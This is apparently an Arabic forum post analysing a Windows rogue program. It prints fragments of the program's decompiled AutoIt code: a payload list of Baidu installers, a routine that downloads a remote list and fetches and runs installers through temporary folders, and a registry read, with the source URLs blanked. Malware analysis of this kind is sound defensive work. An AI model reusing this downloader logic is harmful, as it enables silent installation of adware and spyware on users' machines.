الملف يقوم بتحميل ملفات المتصفح من هنا
[hide]
[/hide]
الملف يقوم بتحميل أكواد من هذا الموقع
[hide]
[/hide]
ويقوم بتحميلها وتنفيذها لتثبيت برنامج البايدو وبرامج أخرى تجسسية
[hide]
1753
7$bdMiniDownloaderEG_MENAON-Mini_32_3313.exe$111111$
Start=1$Baidu Spark Browser
9$PC_Faster_Setup_Mini_E77_S.exe$111111$
/NOTRAY$Baidu PC Faster
8$hao123armenona_ar.exe$111111$
$Hao123-Client
[/hide]
كود الاستدعاء
[hide]
$temp_folder_d = Random(0, 22, 3)
DirCreate(@TempDir & "\" & $temp_folder_d)
$link = "
" & getplace_id()
Local $sname = Random(0, 22, 3) & ".txt"
Local $sfilepath = @TempDir & "\" & $temp_folder_d & "\" & $sname
Local $ibytessize = InetGet($link, $sfilepath, $inet_forcereload)
$file = @TempDir & "\" & $temp_folder_d & "\" & $sname
FileOpen($file, 0)
For $i = 1 To _filecountlines($file)
If $i = 1 Then
$line = FileReadLine($file, $i)
donwloadtheupdater($line)
Local $installed_programs_array = StringSplit($line, "$")
If IsArray($installed_programs_array) Then
For $i2 = 6 To $installed_programs_array[0]
[/hide]
ويقوم بإنزال ملفات في التيمب
[hide]DirRemove(@TempDir & "\" & $temp_folder_d, 1)[/hide]
[hide]
Func path($value)
If $value = "@TempDir" Then
$value = @TempDir
EndIf
If $value = "@AppDataCommonDir" Then
$value = @AppDataCommonDir
EndIf
If $value = "@DesktopCommonDir" Then
$value = @DesktopCommonDir
EndIf
If $value = "@AppDataDir" Then
$value = @AppDataDir
EndIf
If $value = "@DesktopDir" Then
$value = @DesktopDir
EndIf
If $value = "@FavoritesCommonDir" Then
$value = @FavoritesCommonDir
EndIf
If $value = "@FavoritesDir" Then
$value = @FavoritesDir
EndIf
If $value = "@HomeDrive" Then
$value = @HomeDrive
EndIf
If $value = "@HomePath" Then
$value = @HomePath
EndIf
If $value = "@HomeShare" Then
$value = @HomeShare
EndIf
If $value = "@LocalAppDataDir" Then
$value = @LOCALAPPDATADIR
EndIf
If $value = "@MyDocumentsDir" Then
$value = @MyDocumentsDir
EndIf
If $value = "@ProgramFilesDir" Then
$value = @ProgramFilesDir
EndIf
If $value = "@ProgramsCommonDir" Then
$value = @ProgramsCommonDir
EndIf
If $value = "@ProgramsDir" Then
$value = @ProgramsDir
EndIf
If $value = "@ScriptDir" Then
$value = @ScriptDir
EndIf
If $value = "@ScriptFullPath" Then
$value = @ScriptFullPath
EndIf
If $value = "@SystemDir" Then
$value = @SystemDir
EndIf
If $value = "@UserProfileDir" Then
$value = @UserProfileDir
EndIf
If $value = "@WindowsDir" Then
$value = @WindowsDir
EndIf
If $value = "@WorkingDir" Then
$value = @WorkingDir
EndIf
If $value = "@UserProfileDir" Then
$value = @UserProfileDir
EndIf
Return $value
EndFunc
[/hide]
وإضافة قيم ريجستري
[hide]
Func getplace_id()
Local $place_id = RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "SM_Games_pl")
If $place_id = "" Then
$place_id = "1"
Else
$place_id = $place_id
EndIf
Return $place_id
EndFunc
[/hide]
واضح من التسمية أنه Rogue SoftWare
أي أنه خطير"برنامج دعائي يخترق خصوصية المستخدم بشكل كبير"
